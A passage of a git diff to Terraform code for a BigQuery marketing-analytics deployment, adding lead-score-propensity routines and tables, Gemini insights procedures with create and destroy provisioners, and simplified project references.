"invoke_auto_audience_segmentation_training_preparation" { - project = null_resource.check_bigquery_api.id != "" ? local.auto_audience_segmentation_project_id : local.feature_store_project_id + project = local.auto_audience_segmentation_project_id dataset_id = google_bigquery_dataset.auto_audience_segmentation.dataset_id routine_id = "invoke_auto_audience_segmentation_training_preparation" routine_type = "PROCEDURE" @@ -1185,7 +1318,7 @@ data "local_file" "invoke_customer_lifetime_value_training_preparation_file" { } resource "google_bigquery_routine" "invoke_customer_lifetime_value_training_preparation" { - project = null_resource.check_bigquery_api.id != "" ? local.customer_lifetime_value_project_id : local.feature_store_project_id + project = local.customer_lifetime_value_project_id dataset_id = google_bigquery_dataset.customer_lifetime_value.dataset_id routine_id = "invoke_customer_lifetime_value_training_preparation" routine_type = "PROCEDURE" @@ -1199,7 +1332,7 @@ data "local_file" "invoke_purchase_propensity_training_preparation_file" { } resource "google_bigquery_routine" "invoke_purchase_propensity_training_preparation" { - project = null_resource.check_bigquery_api.id != "" ? local.purchase_propensity_project_id : local.feature_store_project_id + project = local.purchase_propensity_project_id dataset_id = google_bigquery_dataset.purchase_propensity.dataset_id routine_id = "invoke_purchase_propensity_training_preparation" routine_type = "PROCEDURE" @@ -1213,7 +1346,7 @@ data "local_file" "invoke_churn_propensity_training_preparation_file" { } resource "google_bigquery_routine" "invoke_churn_propensity_training_preparation" { - project = null_resource.check_bigquery_api.id != "" ? local.churn_propensity_project_id : local.feature_store_project_id + project = local.churn_propensity_project_id dataset_id = google_bigquery_dataset.churn_propensity.dataset_id routine_id = "invoke_churn_propensity_training_preparation" routine_type = "PROCEDURE" @@ -1222,12 +1355,25 @@ resource "google_bigquery_routine" "invoke_churn_propensity_training_preparation } +data "local_file" "invoke_lead_score_propensity_training_preparation_file" { + filename = "${local.sql_dir}/query/invoke_lead_score_propensity_training_preparation.sql" +} + +resource "google_bigquery_routine" "invoke_lead_score_propensity_training_preparation" { + project = local.lead_score_propensity_project_id + dataset_id = google_bigquery_dataset.lead_score_propensity.dataset_id + routine_id = "invoke_lead_score_propensity_training_preparation" + routine_type = "PROCEDURE" + language = "SQL" + definition_body = data.local_file.invoke_lead_score_propensity_training_preparation_file.content +} + data "local_file" "invoke_audience_segmentation_training_preparation_file" { filename = "${local.sql_dir}/query/invoke_audience_segmentation_training_preparation.sql" } resource "google_bigquery_routine" "invoke_audience_segmentation_training_preparation" { - project = null_resource.check_bigquery_api.id != "" ? local.audience_segmentation_project_id : local.feature_store_project_id + project = local.audience_segmentation_project_id dataset_id = google_bigquery_dataset.audience_segmentation.dataset_id routine_id = "invoke_audience_segmentation_training_preparation" routine_type = "PROCEDURE" @@ -1242,11 +1388,11 @@ data "local_file" "invoke_aggregated_value_based_bidding_training_preparation_fi # Terraform resource for invoking the bigquery stored procedure resource "google_bigquery_routine" "invoke_aggregated_value_based_bidding_training_preparation" { - project = null_resource.check_bigquery_api.id != "" ? local.aggregated_vbb_project_id : local.feature_store_project_id - dataset_id = module.aggregated_vbb.bigquery_dataset.dataset_id - routine_id = "invoke_aggregated_value_based_bidding_training_preparation" - routine_type = "PROCEDURE" - language = "SQL" + project = local.aggregated_vbb_project_id + dataset_id = module.aggregated_vbb.bigquery_dataset.dataset_id + routine_id = "invoke_aggregated_value_based_bidding_training_preparation" + routine_type = "PROCEDURE" + language = "SQL" definition_body = data.local_file.invoke_aggregated_value_based_bidding_training_preparation_file.content } @@ -1257,11 +1403,11 @@ data "local_file" "invoke_aggregated_value_based_bidding_explanation_preparation # Terraform resource for invoking the bigquery stored procedure resource "google_bigquery_routine" "invoke_aggregated_value_based_bidding_explanation_preparation" { - project = null_resource.check_bigquery_api.id != "" ? local.aggregated_vbb_project_id : local.feature_store_project_id - dataset_id = module.aggregated_vbb.bigquery_dataset.dataset_id - routine_id = "invoke_aggregated_value_based_bidding_explanation_preparation" - routine_type = "PROCEDURE" - language = "SQL" + project = local.aggregated_vbb_project_id + dataset_id = module.aggregated_vbb.bigquery_dataset.dataset_id + routine_id = "invoke_aggregated_value_based_bidding_explanation_preparation" + routine_type = "PROCEDURE" + language = "SQL" definition_body = data.local_file.invoke_aggregated_value_based_bidding_explanation_preparation_file.content } @@ -1274,7 +1420,7 @@ data "local_file" "invoke_customer_lifetime_value_label_file" { } resource "google_bigquery_routine" "invoke_customer_lifetime_value_label" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "invoke_customer_lifetime_value_label" routine_type = "PROCEDURE" @@ -1288,7 +1434,7 @@ data "local_file" "invoke_purchase_propensity_label_file" { } resource "google_bigquery_routine" "invoke_purchase_propensity_label" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "invoke_purchase_propensity_label" routine_type = "PROCEDURE" @@ -1298,12 +1444,26 @@ resource "google_bigquery_routine" "invoke_purchase_propensity_label" { } +data "local_file" "invoke_lead_score_propensity_label_file" { + filename = "${local.sql_dir}/query/invoke_lead_score_propensity_label.sql" +} + +resource "google_bigquery_routine" "invoke_lead_score_propensity_label" { + project = local.feature_store_project_id + dataset_id = google_bigquery_dataset.feature_store.dataset_id + routine_id = "invoke_lead_score_propensity_label" + routine_type = "PROCEDURE" + language = "SQL" + definition_body = data.local_file.invoke_lead_score_propensity_label_file.content + description = "Procedure that invokes the lead_score_propensity_label table. Daily granularity level. Run this procedure daily before running prediction pipelines." +} + data "local_file" "invoke_churn_propensity_label_file" { filename = "${local.sql_dir}/query/invoke_churn_propensity_label.sql" } resource "google_bigquery_routine" "invoke_churn_propensity_label" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "invoke_churn_propensity_label" routine_type = "PROCEDURE" @@ -1318,7 +1478,7 @@ data "local_file" "invoke_user_dimensions_file" { } resource "google_bigquery_routine" "invoke_user_dimensions" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "invoke_user_dimensions" routine_type = "PROCEDURE" @@ -1332,7 +1492,7 @@ data "local_file" "invoke_user_lifetime_dimensions_file" { } resource "google_bigquery_routine" "invoke_user_lifetime_dimensions" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "invoke_user_lifetime_dimensions" routine_type = "PROCEDURE" @@ -1347,7 +1507,7 @@ data "local_file" "invoke_user_lookback_metrics_file" { } resource "google_bigquery_routine" "invoke_user_lookback_metrics" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "invoke_user_lookback_metrics" routine_type = "PROCEDURE" @@ -1362,7 +1522,7 @@ data "local_file" "invoke_user_rolling_window_lifetime_metrics_file" { } resource "google_bigquery_routine" "invoke_user_rolling_window_lifetime_metrics" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "invoke_user_rolling_window_lifetime_metrics" routine_type = "PROCEDURE" @@ -1377,7 +1537,7 @@ data "local_file" "invoke_user_rolling_window_metrics_file" { } resource "google_bigquery_routine" "invoke_user_rolling_window_metrics" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "invoke_user_rolling_window_metrics" routine_type = "PROCEDURE" @@ -1387,12 +1547,26 @@ resource "google_bigquery_routine" "invoke_user_rolling_window_metrics" { } +data "local_file" "invoke_user_rolling_window_lead_metrics_file" { + filename = "${local.sql_dir}/query/invoke_user_rolling_window_lead_metrics.sql" +} + +resource "google_bigquery_routine" "invoke_user_rolling_window_lead_metrics" { + project = local.feature_store_project_id + dataset_id = google_bigquery_dataset.feature_store.dataset_id + routine_id = "invoke_user_rolling_window_lead_metrics" + routine_type = "PROCEDURE" + language = "SQL" + definition_body = data.local_file.invoke_user_rolling_window_lead_metrics_file.content + description = "Procedure that invokes the user_rolling_window_lead_metrics table. Daily granularity level. Run this procedure daily before running prediction pipelines." +} + data "local_file" "invoke_user_scoped_lifetime_metrics_file" { filename = "${local.sql_dir}/query/invoke_user_scoped_lifetime_metrics.sql" } resource "google_bigquery_routine" "invoke_user_scoped_lifetime_metrics" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "invoke_user_scoped_lifetime_metrics" routine_type = "PROCEDURE" @@ -1406,7 +1580,7 @@ data "local_file" "invoke_user_scoped_metrics_file" { } resource "google_bigquery_routine" "invoke_user_scoped_metrics" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "invoke_user_scoped_metrics" routine_type = "PROCEDURE" @@ -1420,7 +1594,7 @@ data "local_file" "invoke_user_scoped_segmentation_metrics_file" { } resource "google_bigquery_routine" "invoke_user_scoped_segmentation_metrics" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "invoke_user_scoped_segmentation_metrics" routine_type = "PROCEDURE" @@ -1434,7 +1608,7 @@ data "local_file" "invoke_user_segmentation_dimensions_file" { } resource "google_bigquery_routine" "invoke_user_segmentation_dimensions" { - project = null_resource.check_bigquery_api.id != "" ? local.feature_store_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "invoke_user_segmentation_dimensions" routine_type = "PROCEDURE" @@ -1448,7 +1622,7 @@ data "local_file" "invoke_user_session_event_aggregated_metrics_file" { } resource "google_bigquery_routine" "invoke_user_session_event_aggregated_metrics" { - project = null_resource.check_bigquery_api.id != "" ? local.purchase_propensity_project_id : local.feature_store_project_id + project = local.feature_store_project_id dataset_id = google_bigquery_dataset.feature_store.dataset_id routine_id = "invoke_user_session_event_aggregated_metrics" routine_type = "PROCEDURE" @@ -1464,29 +1638,47 @@ data "local_file" "create_gemini_model_file" { # This resource executes gcloud commands to run a query that creates a gemini model connected to Vertex AI LLM API. resource "null_resource" "create_gemini_model" { triggers = { - vertex_ai_connection_exists = google_bigquery_connection.vertex_ai_connection.id, - gemini_dataset_exists = module.gemini_insights.bigquery_dataset.id, + #gemini_dataset_exists = module.gemini_insights.bigquery_dataset.id, check_gemini_dataset_listed = null_resource.check_gemini_insights_dataset_exists.id + + create_command = <<-EOT + ${var.uv_run_alias} bq query --use_legacy_sql=false --max_rows=100 --maximum_bytes_billed=10000000 < ${data.local_file.create_gemini_model_file.filename} + EOT + + # The destroy command deletes the model. + destroy_command = <<-EOT + ${var.uv_run_alias} bq rm -f --model ${local.gemini_insights_project_id}:${local.config_bigquery.dataset.gemini_insights.name}.gemini_1_5_pro + EOT } provisioner "local-exec" { - command = <<-EOT - ${local.poetry_run_alias} bq query --use_legacy_sql=false --max_rows=100 --maximum_bytes_billed=10000000 < ${data.local_file.create_gemini_model_file.filename} - EOT + when = create + command = self.triggers.create_command + } + + provisioner "local-exec" { + when = destroy + command = self.triggers.destroy_command + } + + # The lifecycle block is used to configure the lifecycle of the table. In this case, the ignore_changes attribute is set to all, which means that Terraform will ignore + # any changes to the table and will not attempt to update the table. The prevent_destroy attribute is set to true, which means that Terraform will prevent the table from being destroyed. + lifecycle { + ignore_changes = all + #prevent_destroy = true + create_before_destroy = true } depends_on = [ - google_bigquery_connection.vertex_ai_connection, - module.gemini_insights.google_bigquery_dataset, - null_resource.check_gemini_insights_dataset_exists + #module.gemini_insights.google_bigquery_dataset, + null_resource.check_gemini_insights_dataset_exists, ] } # Since enabling APIs can take a few seconds, we need to make the deployment wait until the model is created in BigQuery. resource "null_resource" "check_gemini_model_exists" { triggers = { - vertex_ai_connection_exists = google_bigquery_connection.vertex_ai_connection.id - gemini_model_created = null_resource.create_gemini_model.id + gemini_model_created = null_resource.create_gemini_model.id } provisioner "local-exec" { @@ -1498,17 +1690,15 @@ resource "null_resource" "check_gemini_model_exists" { sleep 5 printf "." COUNTER=$((COUNTER + 1)) + if [ $COUNTER -eq $MAX_TRIES ]; then + echo "Gemini model was not created, terraform can not continue!" + exit 1 + fi done - if [ $COUNTER -eq $MAX_TRIES ]; then - echo "Gemini model was not created, terraform can not continue!" - exit 1 - fi - sleep 5 EOT } depends_on = [ - google_bigquery_connection.vertex_ai_connection, null_resource.create_gemini_model ] } @@ -1518,7 +1708,7 @@ data "local_file" "invoke_user_behaviour_revenue_insights_file" { } resource "google_bigquery_routine" "invoke_user_behaviour_revenue_insights" { - project = null_resource.check_gemini_model_exists.id != "" ? local.gemini_insights_project_id : local.feature_store_project_id + project = local.gemini_insights_project_id dataset_id = local.config_bigquery.dataset.gemini_insights.name routine_id = "invoke_user_behaviour_revenue_insights" routine_type = "PROCEDURE" @@ -1527,7 +1717,71 @@ resource "google_bigquery_routine" "invoke_user_behaviour_revenue_insights" { description = "Procedure that invokes the user_behaviour_revenue_insights table with gemini insights. Daily granularity level. Run this procedure daily before consuming gemini insights on the Looker Dahboard." depends_on = [ + module.gemini_insights.google_bigquery_dataset, + #null_resource.check_gemini_model_exists, + ] +} + +# This resource reads the contents of a local SQL file named user_behaviour_revenue_insights.sql and +# stores it in a variable named user_behaviour_revenue_insights_file.content. +# The SQL file is expected to contain the definition of a BigQuery procedure named user_behaviour_revenue_insights. +data "local_file" "user_behaviour_revenue_insights_file" { + filename = "${local.sql_dir}/procedure/user_behaviour_revenue_insights.sql" +} + +# The user_behaviour_revenue_insights procedure is designed to generate gemini insights. +resource "google_bigquery_routine" "user_behaviour_revenue_insights" { + project = local.gemini_insights_project_id + dataset_id = local.config_bigquery.dataset.gemini_insights.name + routine_id = "user_behaviour_revenue_insights" + routine_type = "PROCEDURE" + language = "SQL" + definition_body = data.local_file.user_behaviour_revenue_insights_file.content + description = "Procedure that generates gemini insights for . Daily granularity level. Run this procedure every day before consuming gemini insights on the Looker Dahboard." + arguments { + name = "input_date" + mode = "INOUT" + data_type = jsonencode({ "typeKind" : "DATE" }) + } + + # The lifecycle block is used to configure the lifecycle of the table. In this case, the ignore_changes attribute is set to all, which means that Terraform will ignore + # any changes to the table and will not attempt to update the table. The prevent_destroy attribute is set to true, which means that Terraform will prevent the table from being destroyed. + lifecycle { + ignore_changes = all + #prevent_destroy = true + create_before_destroy = true + } + + depends_on = [ + #module.gemini_insights.google_bigquery_dataset, + null_resource.check_gemini_model_exists, + ] +} + + +data "local_file" "invoke_backfill_user_behaviour_revenue_insights_file" { + filename = "${local.sql_dir}/query/invoke_backfill_user_behaviour_revenue_insights.sql" +} + +resource "google_bigquery_routine" "invoke_backfill_user_behaviour_revenue_insights" { + project = local.gemini_insights_project_id + dataset_id = local.config_bigquery.dataset.gemini_insights.name + routine_id = "invoke_backfill_user_behaviour_revenue_insights" + routine_type = "PROCEDURE" + language = "SQL" + definition_body = data.local_file.invoke_backfill_user_behaviour_revenue_insights_file.content + description = "Procedure that backfills the user_behaviour_revenue_insights table with gemini insights. Daily granularity level. Run this procedure occasionally before consuming gemini insights on the Looker Dahboard." + + # The lifecycle block is used to configure the lifecycle of the table. In this case, the ignore_changes attribute is set to all, which means that Terraform will ignore + # any changes to the table and will not attempt to update the table. The prevent_destroy attribute is set to true, which means that Terraform will prevent the table from being destroyed. + lifecycle { + ignore_changes = all + #prevent_destroy = true + create_before_destroy = true + } + + depends_on = [ + #module.gemini_insights.google_bigquery_dataset, null_resource.check_gemini_model_exists, - null_resource.create_gemini_model ] } \ No newline at end of file diff --git a/infrastructure/terraform/modules/feature-store/bigquery-tables.tf b/infrastructure/terraform/modules/feature-store/bigquery-tables.tf index c968bda2..024c620d 100644 --- a/infrastructure/terraform/modules/feature-store/bigquery-tables.tf +++ b/infrastructure/terraform/modules/feature-store/bigquery-tables.tf @@ -15,10 +15,10 @@ # This resource creates a BigQuery table named audience_segmentation_inference_preparation # in the dataset specified by google_bigquery_dataset.audience_segmentation.dataset_id. resource "google_bigquery_table" "audience_segmentation_inference_preparation" { - project = google_bigquery_dataset.audience_segmentation.project - dataset_id = google_bigquery_dataset.audience_segmentation.dataset_id - table_id = local.config_bigquery.table.audience_segmentation_inference_preparation.table_name - description = local.config_bigquery.table.audience_segmentation_inference_preparation.table_description + project = google_bigquery_dataset.audience_segmentation.project + dataset_id = google_bigquery_dataset.audience_segmentation.dataset_id + table_id = local.config_bigquery.table.audience_segmentation_inference_preparation.table_name + description = local.config_bigquery.table.audience_segmentation_inference_preparation.table_description # The deletion_protection attribute specifies whether the table should be protected from deletion. In this case, it's set to false, which means that the table can be deleted. deletion_protection = false @@ -34,10 +34,10 @@ resource "google_bigquery_table" "audience_segmentation_inference_preparation" { # This resource creates a BigQuery table named customer_lifetime_value_inference_preparation # in the dataset specified by google_bigquery_dataset.customer_lifetime_value.dataset_id. resource "google_bigquery_table" "customer_lifetime_value_inference_preparation" { - project = google_bigquery_dataset.customer_lifetime_value.project - dataset_id = google_bigquery_dataset.customer_lifetime_value.dataset_id - table_id = local.config_bigquery.table.customer_lifetime_value_inference_preparation.table_name - description = local.config_bigquery.table.customer_lifetime_value_inference_preparation.table_description + project = google_bigquery_dataset.customer_lifetime_value.project + dataset_id = google_bigquery_dataset.customer_lifetime_value.dataset_id + table_id = local.config_bigquery.table.customer_lifetime_value_inference_preparation.table_name + description = local.config_bigquery.table.customer_lifetime_value_inference_preparation.table_description # The deletion_protection attribute specifies whether the table should be protected from deletion. In this case, it's set to false, which means that the table can be deleted. deletion_protection = false @@ -53,10 +53,10 @@ resource "google_bigquery_table" "customer_lifetime_value_inference_preparation" # This resource creates a BigQuery table named customer_lifetime_value_label # in the dataset specified by google_bigquery_dataset.feature_store.dataset_id. resource "google_bigquery_table" "customer_lifetime_value_label" { - project = google_bigquery_dataset.feature_store.project - dataset_id = google_bigquery_dataset.feature_store.dataset_id - table_id = local.config_bigquery.table.customer_lifetime_value_label.table_name - description = local.config_bigquery.table.customer_lifetime_value_label.table_description + project = google_bigquery_dataset.feature_store.project + dataset_id = google_bigquery_dataset.feature_store.dataset_id + table_id = local.config_bigquery.table.customer_lifetime_value_label.table_name + description = local.config_bigquery.table.customer_lifetime_value_label.table_description # The deletion_protection attribute specifies whether the table should be protected from deletion. In this case, it's set to false, which means that the table can be deleted. deletion_protection = false @@ -79,10 +79,10 @@ resource "google_bigquery_table" "customer_lifetime_value_label" { # This resource creates a BigQuery table named purchase_propensity_inference_preparation # in the dataset specified by google_bigquery_dataset.purchase_propensity.dataset_id. resource "google_bigquery_table" "purchase_propensity_inference_preparation" { - project = google_bigquery_dataset.purchase_propensity.project - dataset_id = google_bigquery_dataset.purchase_propensity.dataset_id - table_id = local.config_bigquery.table.purchase_propensity_inference_preparation.table_name - description = local.config_bigquery.table.purchase_propensity_inference_preparation.table_description + project = google_bigquery_dataset.purchase_propensity.project + dataset_id = google_bigquery_dataset.purchase_propensity.dataset_id + table_id = local.config_bigquery.table.purchase_propensity_inference_preparation.table_name + description = local.config_bigquery.table.purchase_propensity_inference_preparation.table_description # The deletion_protection attribute specifies whether the table should be protected from deletion. In this case, it's set to false, which means that the table can be deleted. deletion_protection = false @@ -97,10 +97,10 @@ resource "google_bigquery_table" "purchase_propensity_inference_preparation" { # This resource creates a BigQuery table named churn_propensity_inference_preparation # in the dataset specified by google_bigquery_dataset.churn_propensity.dataset_id. resource "google_bigquery_table" "churn_propensity_inference_preparation" { - project = google_bigquery_dataset.churn_propensity.project - dataset_id = google_bigquery_dataset.churn_propensity.dataset_id - table_id = local.config_bigquery.table.churn_propensity_inference_preparation.table_name - description = local.config_bigquery.table.churn_propensity_inference_preparation.table_description + project = google_bigquery_dataset.churn_propensity.project + dataset_id = google_bigquery_dataset.churn_propensity.dataset_id + table_id = local.config_bigquery.table.churn_propensity_inference_preparation.table_name + description = local.config_bigquery.table.churn_propensity_inference_preparation.table_description # The deletion_protection attribute specifies whether the table should be protected from deletion. In this case, it's set to false, which means that the table can be deleted. deletion_protection = false @@ -112,13 +112,31 @@ resource "google_bigquery_table" "churn_propensity_inference_preparation" { schema = file("${local.sql_dir}/schema/table/churn_propensity_inference_preparation.json") } +# This resource creates a BigQuery table named lead_score_propensity_inference_preparation +# in the dataset specified by google_bigquery_dataset.lead_score_propensity.dataset_id. +resource "google_bigquery_table" "lead_score_propensity_inference_preparation" { + project = google_bigquery_dataset.lead_score_propensity.project + dataset_id = google_bigquery_dataset.lead_score_propensity.dataset_id + table_id = local.config_bigquery.table.lead_score_propensity_inference_preparation.table_name + description = local.config_bigquery.table.lead_score_propensity_inference_preparation.table_description + + # The deletion_protection attribute specifies whether the table should be protected from deletion. In this case, it's set to false, which means that the table can be deleted. + deletion_protection = false + labels = { + version = "prod" + } + + # The schema attribute specifies the schema of the table. In this case, the schema is defined in the JSON file. + schema = file("${local.sql_dir}/schema/table/lead_score_propensity_inference_preparation.json") +} + # This resource creates a BigQuery table named purchase_propensity_label # in the dataset specified by google_bigquery_dataset.feature_store.dataset_id. resource "google_bigquery_table" "purchase_propensity_label" { - project = google_bigquery_dataset.feature_store.project - dataset_id = google_bigquery_dataset.feature_store.dataset_id - table_id = local.config_bigquery.table.purchase_propensity_label.table_name - description = local.config_bigquery.table.purchase_propensity_label.table_description + project = google_bigquery_dataset.feature_store.project + dataset_id = google_bigquery_dataset.feature_store.dataset_id + table_id = local.config_bigquery.table.purchase_propensity_label.table_name + description = local.config_bigquery.table.purchase_propensity_label.table_description # The deletion_protection attribute specifies whether the table should be protected from deletion. In this case, it's set to false, which means that the table can be deleted. deletion_protection = false @@ -140,10 +158,10 @@ resource "google_bigquery_table" "purchase_propensity_label" { # This resource creates a BigQuery table named churn_propensity_label # in the dataset specified by google_bigquery_dataset.feature_store.dataset_id. resource "google_bigquery_table" "churn_propensity_label" { - project = google_bigquery_dataset.feature_store.project - dataset_id = google_bigquery_dataset.feature_store.dataset_id - table_id = local.config_bigquery.table.churn_propensity_label.table_name - description = local.config_bigquery.table.churn_propensity_label.table_description + project = google_bigquery_dataset.feature_store.project + dataset_id = google_bigquery_dataset.feature_store.dataset_id + table_id = local.config_bigquery.table.churn_propensity_label.table_name + description = local.config_bigquery.table.churn_propensity_label.table_description # The deletion_protection attribute specifies whether the table should be protected from deletion. In this case, it's set to false, which means that the table can be deleted. deletion_protection = false @@ -162,13 +180,38 @@ resource "google_bigquery_table" "churn_propensity_label" { } } +# This resource creates a BigQuery table named lead_score_propensity_label +# in the dataset specified by google_bigquery_dataset.feature_store.dataset_id. +resource "google_bigquery_table" "lead_score_propensity_label" { + project = google_bigquery_dataset.feature_store.project + dataset_id = google_bigquery_dataset.feature_store.dataset_id + table_id = local.config_bigquery.table.lead_score_propensity_label.table_name + description = local.config_bigquery.table.lead_score_propensity_label.table_description + + # The deletion_protection attribute specifies whether the table should be protected from deletion. In this case, it's set to false, which means that the table can be deleted. + deletion_protection = false + labels = { + version = "prod" + } + + # The schema attribute specifies the schema of the table. In this case, the schema is defined in the JSON file. + schema = file("${local.sql_dir}/schema/table/lead_score_propensity_label.json") + + # The lifecycle block is used to configure the lifecycle of the table. In this case, the ignore_changes attribute is set to all, which means that Terraform will ignore + # any changes to the table and will not attempt to update the table. The prevent_destroy attribute is set to true, which means that Terraform will prevent the table from being destroyed. + lifecycle { + ignore_changes = all + prevent_destroy = true + } +} + # This resource creates a BigQuery table named user_dimensions # in the dataset specified by google_bigquery_dataset.feature_store.dataset_id. resource "google_bigquery_table" "user_dimensions" { - project = google_bigquery_dataset.feature_store.project - dataset_id = google_bigquery_dataset.feature_store.dataset_id - table_id = local.config_bigquery.table.user_dimensions.table_name - description = local.config_bigquery.table.user_dimensions.table_description + project = google_bigquery_dataset.feature_store.project + dataset_id = google_bigquery_dataset.feature_store.dataset_id + table_id = local.config_bigquery.table.user_dimensions.table_name + description = local.config_bigquery.table.user_dimensions.table_description # The deletion_protection attribute specifies whether the table should be protected from deletion. In this case, it's set to false, which means that the table can be deleted. deletion_protection = false @@ -190,10 +233,10 @@ resource "google_bigquery_table" "user_dimensions" { # This resource creates a BigQuery table named user_lifetime_dimensions # in the dataset specified by google_bigquery_dataset.feature_store.dataset_id. resource "google_bigquery_table" "user_lifetime_dimensions" { - project = google_bigquery_dataset.feature_store.project - dataset_id = google_bigquery_dataset.feature_store.dataset_id - table_id = local.config_bigquery.table.user_lifetime_dimensions.table_name - description = local.config_bigquery.table.user_lifetime_dimensions.table_description + project = google_bigquery_dataset.feature_store.project + dataset_id = google_bigquery_dataset.feature_store.dataset_id + table_id = local.config_bigquery.table.user_lifetime_dimensions.table_name + description = local.config_bigquery.table.user_lifetime_dimensions.table_description # The deletion_protection attribute specifies whether the table should be protected from deletion. In this case, it's set to false, which means that the table can be deleted. deletion_protection = false @@ -215,10 +258,10 @@ resource "google_bigquery_table" "user_lifetime_dimensions" { # This resource creates a BigQuery table named user_lookback_metrics # in the dataset specified by google_bigquery_dataset.feature_store.dataset_id. resource "google_bigquery_table" "user_lookback_metrics" { - project = google_bigquery_dataset.feature_store.project - dataset_id = google_bigquery_dataset.feature_store.dataset_id - table_id = local.config_bigquery.table.user_lookback_metrics.table_name - description = local.config_bigquery.table.user_lookback_metrics.table_description + project = google_bigquery_dataset.feature_store.project + dataset_id = google_bigquery_dataset.feature_store.dataset_id + table_id = local.config_bigquery.table.user_lookback_metrics.table_name + description = local.config_bigquery.table.user_lookback_metrics.table_description # The deletion_protection attribute specifies whether the table should be protected from deletion. In this case, it's set to false, which means that the table can be deleted. deletion_protection = false @@ -240,10 +283,10 @@ resource "google_bigquery_table" "user_lookback_metrics" { # This resource creates a BigQuery table named user_rolling_window_lifetime_metrics # in the dataset specified by google_bigquery_dataset.feature_store.dataset_id. resource "google_bigquery_table" "user_rolling_window_lifetime_metrics" { - project = google_bigquery_dataset.feature_store.project - dataset_id = google_bigquery_dataset.feature_store.dataset_id - table_id = local.config_bigquery.table.user_rolling_window_lifetime_metrics.table_name - description = local.config_bigquery.table.user_rolling_window_lifetime_metrics.table_description + project = google_bigquery_dataset.feature_store.project + dataset_id = google_bigquery_dataset.feature_store.dataset_id + table_id = local.config_bigquery.table.user_rolling_window_lifetime_metrics.table_name + description = local.config_bigquery.table.user_rolling_window_lifetime_metrics.table_description # The deletion_protection attribute specifies whether the table should be protected from deletion. In this case, it's set to false, which means that the table can be deleted. deletion_protection = false @@ -265,10 +308,10 @@ resource "google_bigquery_table" "user_rolling_window_lifetime_metrics" { # This resource creates a BigQuery table named user_rolling_window_metrics # in the dataset specified by google_bigquery_dataset.feature_store.dataset_id. resource "google_bigquery_table" "user_rolling_window_metrics" { - project = google_bigquery_dataset.feature_store.project - dataset_id = google_bigquery_dataset.feature_store.dataset_id - table_id = local.config_bigquery.table.user_rolling_window_metrics.table_name - description = local.config_bigquery.table.user_rolling_window_metrics.table_description + project = google_bigquery_dataset.feature_store.project + dataset_id = google_bigquery_dataset.feature_store.dataset_id + table_id = local.config_bigquery.table.user_rolling_window_metrics.table_name + description = local.config_bigquery.table.user_rolling_window_metrics.table_description # The deletion_protection attribute specifies whether the table should be protected from deletion. In this case, it's set to false, which means that the table can be deleted. deletion_protection = false @@ -287,13 +330,38 @@ resource "google_bigquery_table" "user_rolling_window_metrics" { } } +# This resource creates a BigQuery table named user_rolling_window_lead_metrics +# in the dataset specified by google_bigquery_dataset.feature_store.dataset_id. +resource "google_bigquery_table" "user_rolling_window_lead_metrics" { + project = google_bigquery_dataset.feature_store.project + dataset_id = google_bigquery_dataset.feature_store.dataset_id + table_id = local.config_bigquery.table.user_rolling_window_lead_metrics.table_name + description = local.config_bigquery.table.user_rolling_window_lead_metrics.table_description + + # The deletion_protection attribute specifies whether the table should be protected from deletion. In this case, it's set to false, which means that the table can be deleted. + deletion_protection = false + labels = { + version = "prod" + } + + # The schema attribute specifies the schema of the table. In this case, the schema is defined in the JSON file. + schema = file("${local.sql_dir}/schema/table/user_rolling_window_lead_metrics.json") + + # The lifecycle block is used to configure the lifecycle of the table. In this case, the ignore_changes attribute is set to all, which means that Terraform will ignore + # any changes to the table and will not attempt to update the table. The prevent_destroy attribute is set to true, which means that Terraform will prevent the table from being destroyed. + lifecycle { + ignore_changes = all + prevent_destroy = true + } +} + # This resource creates a BigQuery table named user_scoped_lifetime_metrics # in the dataset specified by google_bigquery_dataset.feature_store.dataset_id. resource "google_bigquery_table" "user_scoped_lifetime_metrics" { - project = google_bigquery_dataset.feature_store.project - dataset_id = google_bigquery_dataset.feature_store.dataset_id - table_id = local.config_bigquery.table.user_scoped_lifetime_metrics.table_name - description = local.config_bigquery.table.user_scoped_lifetime_metrics.table_description + project = google_bigquery_dataset.feature_store.project + dataset_id = google_bigquery_dataset.feature_store.dataset_id + table_id = local.config_bigquery.table.user_scoped_lifetime_metrics.table_name + description = local.config_bigquery.table.user_scoped_lifetime_metrics.table_description # The deletion_protection attribute specifies whether the table should be protected from deletion. In this case, it's set to false, which means that the table can be deleted. deletion_protection = false @@ -315,10 +383,10 @@ resource "google_bigquery_table" "user_scoped_lifetime_metrics" { # This resource creates a BigQuery table named user_scoped_metrics # in the dataset specified by 